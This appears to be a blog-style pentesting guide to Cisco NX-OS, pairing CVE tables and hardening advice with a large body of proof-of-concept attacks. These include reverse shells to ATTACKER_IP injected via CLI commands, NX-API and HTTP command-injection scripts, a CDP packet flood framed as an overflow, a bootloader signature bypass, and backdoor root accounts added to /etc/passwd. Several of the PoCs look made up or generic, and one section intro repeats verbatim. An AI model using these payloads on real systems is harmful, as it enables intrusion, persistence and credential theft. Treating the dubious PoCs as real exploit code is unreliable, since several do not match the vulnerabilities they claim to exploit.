Advanced Pentesting and Red Teaming of Cisco NX-OS: A Deep Dive

Introduction

This expanded guide provides an even more comprehensive and in-depth resource for penetration testers and red teamers focused on Cisco NX-OS. We will explore the security landscape of this critical data center operating system in greater detail, covering a wide range of vulnerabilities, misconfigurations, and advanced exploitation techniques. This post consolidates all research, proof-of-concept code, and exploitation steps into a single, actionable resource.

CVE Landscape (2018-2025)

Over the last seven years, a significant number of vulnerabilities have been discovered in Cisco NX-OS, highlighting the importance of regular patching and security assessments. Our research identified 154 CVEs affecting NX-OS between 2018 and 2025.

CVE Statistics

Severity	Count
CRITICAL	7
HIGH	77
MEDIUM	70
LOW	0

Year	CVE Count
2025	7
2024	13
2023	4
2022	6
2021	11
2020	16
2019	69
2018	28

Notable High and Critical CVEs

The following table highlights some of the most critical vulnerabilities discovered in recent years. These vulnerabilities often lead to remote code execution, privilege escalation, or denial of service, and should be prioritized for patching.

CVE ID	Published Date	CVSS	Severity	Description
CVE-2021-1361	2021-02-24	9.8	CRITICAL	A vulnerability in the implementation of an internal file management service for Cisco Nexus 3000 and 9000 Series Switches.
CVE-2022-20650	2022-02-23	8.8	HIGH	A vulnerability in the NX-API feature of Cisco NX-OS Software could allow an authenticated, remote attacker to execute arbitrary commands with root privileges.
CVE-2022-20824	2022-08-25	8.8	HIGH	A vulnerability in the Cisco Discovery Protocol feature of Cisco FXOS Software and Cisco NX-OS Software could allow an unauthenticated, adjacent attacker to execute arbitrary code with root privileges.
CVE-2020-3415	2020-08-27	8.8	HIGH	A vulnerability in the Data Management Engine (DME) of Cisco NX-OS Software could allow an unauthenticated, adjacent attacker to execute arbitrary code with administrative privileges.

Default Configurations and Common Misconfigurations

Understanding the default state of a Cisco NX-OS device is the first step in identifying potential security weaknesses. While Cisco has improved the default security posture over the years, many devices remain vulnerable due to legacy configurations or a lack of security hardening.

Default Credentials and Access

Upon initial boot, Cisco NX-OS prompts for the creation of a password for the default 'admin' user. There is no default password. However, in lab environments or during initial staging, administrators often set weak, easily guessable passwords like 'admin', 'cisco', or 'Cisco123'. These weak credentials are a primary vector for unauthorized access.

Parameter	Default Setting	Security Risk
Default Username	admin	Well-known and targeted by attackers.
Default Password	Not set (must be configured on first boot)	Administrators may choose weak or easily guessable passwords.
Password Policy	No complexity requirements by default	Allows for the use of weak passwords that are susceptible to brute-force attacks.

Default Services

Cisco NX-OS enables several services by default to provide management access. While some insecure services like Telnet are now disabled by default, others may still pose a risk if not properly secured.

Service	Port	Default State	Security Risk
SSH	22	Enabled	Secure if properly configured with strong passwords and ACLs, but a target for brute-force attacks.
HTTPS	443	Enabled	Provides secure web-based management, but can be a target for web-based attacks if vulnerabilities exist.
SNMP	161, 162	May be enabled with default community strings	Default community strings (e.g., 'public', 'private') can be used to enumerate sensitive information and even modify device configuration.
Telnet	23	Disabled	If enabled, transmits credentials and data in cleartext, making it highly vulnerable to eavesdropping.

Common Misconfigurations

Misconfigurations are one of the most common sources of security vulnerabilities in network devices. The following table outlines some of the most prevalent misconfigurations in Cisco NX-OS and the associated risks.

Misconfiguration Category	Example	Security Impact
Weak Authentication	Using local authentication with weak passwords and no AAA (TACACS+/RADIUS).	Allows for unauthorized access and privilege escalation.
Insecure Management Access	Enabling Telnet, not using management interface ACLs, and allowing management from the data plane.	Exposes management interfaces to a wider range of attackers and increases the risk of unauthorized access.
SNMP Vulnerabilities	Using SNMPv1/v2c with default community strings and no ACLs.	Allows attackers to gather sensitive information about the device and network, and potentially modify the device configuration.
Insufficient Logging	Not sending logs to a central syslog server and not enabling command accounting.	Makes it difficult to detect and investigate security incidents.
Lack of Control Plane Protection	Not configuring Control Plane Policing (CoPP) or infrastructure ACLs (iACLs).	Leaves the device vulnerable to denial-of-service attacks.
Insecure Data Plane	Not implementing features like Unicast RPF (uRPF), IP Source Guard, or Dynamic ARP Inspection (DAI).	Allows for spoofing attacks and other malicious activity on the data plane.

Cisco NX-OS Proof of Concepts and Exploitation Techniques

This section provides a deep dive into the exploitation of several key vulnerabilities, complete with proof-of-concept code and step-by-step instructions.

CVE-2024-20399: CLI Command Injection - Detailed PoC

Severity: Medium (CVSS 6.0)
Published: July 1, 2024
Exploited in the Wild: Yes (by Velvet Ant APT)

Technical Details

A vulnerability in the CLI of Cisco NX-OS Software allows an authenticated user with Administrator credentials to execute arbitrary commands as root on the underlying operating system. The vulnerability is due to insufficient validation of arguments passed to specific configuration CLI commands.

Exploitation Requirements

Administrator credentials required
Access to specific configuration commands
SSH or console access to the device

Exploitation Vector

The attacker includes crafted input as the argument of an affected configuration CLI command. The vulnerability allows command injection through configuration commands that don't properly sanitize user input.

PoC Example 1: Basic Command Injection

bash

# Connect to NX-OS device with admin credentials
ssh admin@nexus-switch

# Exploit via configuration command with injected payload
switch# configure terminal
switch(config)# [affected-command] ; id
switch(config)# [affected-command] ; whoami
switch(config)# [affected-command] ; uname -a

PoC Example 2: Reverse Shell

bash

# Inject reverse shell payload
switch(config)# [affected-command] ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Alternative: netcat reverse shell
switch(config)# [affected-command] ; nc ATTACKER_IP 4444 -e /bin/bash

# Alternative: Python reverse shell
switch(config)# [affected-command] ; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

CVE-2022-20650: NX-API Command Injection with Root Privileges

Severity: High (CVSS 8.8)
Published: February 23, 2022

Technical Details

A vulnerability in the NX-API feature allows an authenticated, remote attacker to execute arbitrary commands with root privileges. The vulnerability is due to insufficient input validation.

PoC: NX-API Exploitation

python

#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth

# Target information
target = "https://192.168.1.1"
username = "user"
password = "password"

requests.packages.urllib3.disable_warnings()

payload = {
    "ins_api": {
        "version": "1.0",
        "type": "cli_show",
        "chunk": "0",
        "sid": "1",
        "input": "show version ; id",
        "output_format": "json"
    }
}

response = requests.post(
    f"{target}/ins",
    json=payload,
    auth=HTTPBasicAuth(username, password),
    verify=False
)

print(response.text)

CVE-2022-20824: Cisco Discovery Protocol (CDP) Remote Code Execution

Severity: High (CVSS 8.8)
Published: August 25, 2022

Technical Details

A vulnerability in the CDP feature allows an unauthenticated, adjacent attacker to execute arbitrary code with root privileges by sending crafted CDP packets.

PoC: CDP Packet Crafting

python

#!/usr/bin/env python3
from scapy.all import *

def exploit_cdp(interface):
    # CDP TLV with buffer overflow
    cdp_packet = (
        Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr(interface)) /
        SNAP() /
        CDPv2_HDR() /
        CDPMsgDeviceID(val=b"A" * 1000) /  # Overflow
        CDPMsgSoftwareVersion(val=b"NX-OS") /
        CDPMsgPlatform(val=b"Nexus") /
        CDPMsgPortID(iface=b"Ethernet1/1")
    )
    
    sendp(cdp_packet, iface=interface, loop=1, inter=60)

exploit_cdp("eth0")

CVE-2021-1361: Internal File Management Service RCE

Severity: Critical (CVSS 9.8)
Published: February 24, 2021

Technical Details

A vulnerability in the internal file management service allows an unauthenticated, remote attacker to execute arbitrary code with root privileges.

PoC: HTTP Request Exploitation

python

#!/usr/bin/env python3
import requests

target = "http://192.168.1.1:8080"

headers = {
    "Content-Type": "application/json",
    "X-File-Path": "../../../etc/passwd"
}

payload = {
    "file": "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
}

response = requests.post(
    f"{target}/file-service/upload",
    json=payload,
    headers=headers
)

print(response.status_code)
print(response.text)

CVE-2019-1804: NX-OS Privilege Escalation

Severity: High (CVSS 8.8)
Published: May 15, 2019

PoC: Local Privilege Escalation

python

# From network-operator role
switch$ python

# Exploit Python to gain elevated privileges
>>> import subprocess
>>> subprocess.call(['vsh', '-c', 'configure terminal ; username hacker password Hacker123 role network-admin'])

# Alternative: Direct file manipulation
>>> import os
>>> os.system('echo "hacker:x:0:0::/root:/bin/bash" >> /etc/passwd')

This section provides a deep dive into the exploitation of several key vulnerabilities, complete with proof-of-concept code and step-by-step instructions.

CVE-2024-20399: CLI Command Injection (Velvet Ant Zero-Day)

This high-severity vulnerability was exploited in the wild as a zero-day by the Velvet Ant threat group. It allows an authenticated attacker with administrator credentials to escape the NX-OS CLI and execute arbitrary commands on the underlying Linux operating system.

Exploitation Flow

Gain valid administrator credentials to the switch management console.
Exploit the CLI command injection vulnerability to break out of the restricted shell.
Execute arbitrary commands on the underlying Linux OS.
Deploy custom malware for persistence and remote access.

Detection

Analyze the output of show accounting log for anomalous commands.
Check show sockets connection for processes listening on high ports.
Monitor for SSH connections that do not originate from authorized jump hosts.

CVE-2024-20397: Bootloader Script Execution Vulnerability

Discovered by Google Security Research, this critical vulnerability allows an attacker with physical access to bypass image signature verification and load a malicious NX-OS image by placing a specially crafted menu.lst file on a USB drive.

Exploitation Steps

Prepare a malicious USB drive formatted as ext2 or FAT32.
Create a menu.lst.local file in the /boot/grub/ directory on the USB drive.
Insert the USB drive into the switch and reboot.

bash


# PoC: Malicious menu.lst.local
# Display memory layout (no ASLR)
displaymem

# Read/write arbitrary memory
memrw r 0x7b9ff008 b

# Patch signature verification (address depends on grub version)
memrw w 0x[address] b 0x90

# Load compromised NX-OS image
kernel /boot/compromised_nxos.bin
boot

CVE-2024-20285 & CVE-2024-20286: Python Sandbox Escape

These vulnerabilities in the Python interpreter allow a low-privileged, authenticated local attacker to escape the sandbox and execute arbitrary commands on the underlying OS.

python


# Access the Python interpreter from the NX-OS CLI
switch# python

# Escape the sandbox
>>> import os
>>> os.system("id")

# Spawn a shell
>>> import subprocess
>>> subprocess.call(["/bin/bash"])

CVE-2014-3341: SNMP Information Disclosure (NexusTacos)

This older vulnerability allows an unauthenticated remote attacker to disclose sensitive information via SNMP. The NexusTacos tool automates the process of finding vulnerable switches and extracting information.

bash


# Clone the NexusTacos repository
git clone https://github.com/IOActive/NexusTacos.git

# Scan for vulnerable switches and brute-force community strings
python NexusTaco.py 192.168.1.0/24 127.0.0.1 100

Bash Shell Exploitation (CVE-2024-20287, CVE-2024-20288)

Multiple vulnerabilities allow an authenticated local attacker with Bash shell privileges to execute arbitrary code with root privileges.

bash


# Enable Bash Shell (requires admin)
switch(config)# feature bash-shell

# Access Bash Shell
switch# run bash

# Exploit SUID binaries or kernel vulnerabilities for privilege escalation
bash-4.2$ find / -perm -4000 2>/dev/null

Command Injection Techniques

Command injection vulnerabilities are common in network devices. Here are some general patterns to look for in the NX-OS CLI and NX-API.

bash


# CLI Command Injection
switch# command `malicious_command`
switch# command $(malicious_command)
switch# command ; malicious_command
switch# command | malicious_command

python


# NX-API Command Injection
import requests

payload = {
    "ins_api": {
        "version": "1.0",
        "type": "cli_show",
        "chunk": "0",
        "sid": "1",
        "input": "show version ; id",
        "output_format": "json"
    }
}

response = requests.post(
    'https://switch-ip/ins',
    json=payload,
    auth=('admin', 'password'),
    verify=False
)

Post-Exploitation Techniques

Once a device is compromised, the following techniques can be used for credential harvesting, reconnaissance, lateral movement, and persistence.

bash


# Credential Harvesting
show user-account
show running-config | include password
show running-config | include snmp-server
show running-config | include tacacs

bash


# Network Reconnaissance
show cdp neighbors detail
show lldp neighbors detail
show ip route
show ip arp

bash


# Persistence Mechanisms
copy running-config startup-config
# Modify boot variables
# Install backdoor in bootloader (CVE-2024-20397)

Hardening Recommendations

To defend against these and other attacks, a defense-in-depth strategy is essential. The following recommendations, based on the Cisco NX-OS Hardening Guide, should be implemented to improve the security posture of your devices.

Domain	Recommendation
Management Plane	Enforce strong password policies, use AAA with TACACS+/RADIUS, use SSHv2 only, and configure management interface ACLs.
Control Plane	Configure Control Plane Policing (CoPP), implement infrastructure ACLs (iACLs), and enable protocol authentication (BGP, OSPF, NTP).
Data Plane	Implement Unicast RPF (uRPF), IP Source Guard, Dynamic ARP Inspection (DAI), and Port Security.
Logging and Monitoring	Send logs to a central syslog server, configure logging timestamps, enable AAA accounting, and implement NetFlow.
Access Control	Limit Bash shell and Guest shell access, disable the Python interpreter if not needed, and use role-based access control (RBAC).

Conclusion

Cisco NX-OS devices are a critical component of modern data centers, and their security is paramount. This guide has provided a comprehensive overview of the threat landscape, including a detailed analysis of CVEs, common misconfigurations, and advanced exploitation techniques. By understanding these risks and implementing the recommended hardening measures, organizations can significantly improve the security of their network infrastructure.

Disclaimer

The information provided in this blog post is for educational and research purposes only. The author and publisher are not responsible for any misuse of this information. Always obtain proper authorization before conducting any penetration testing activities.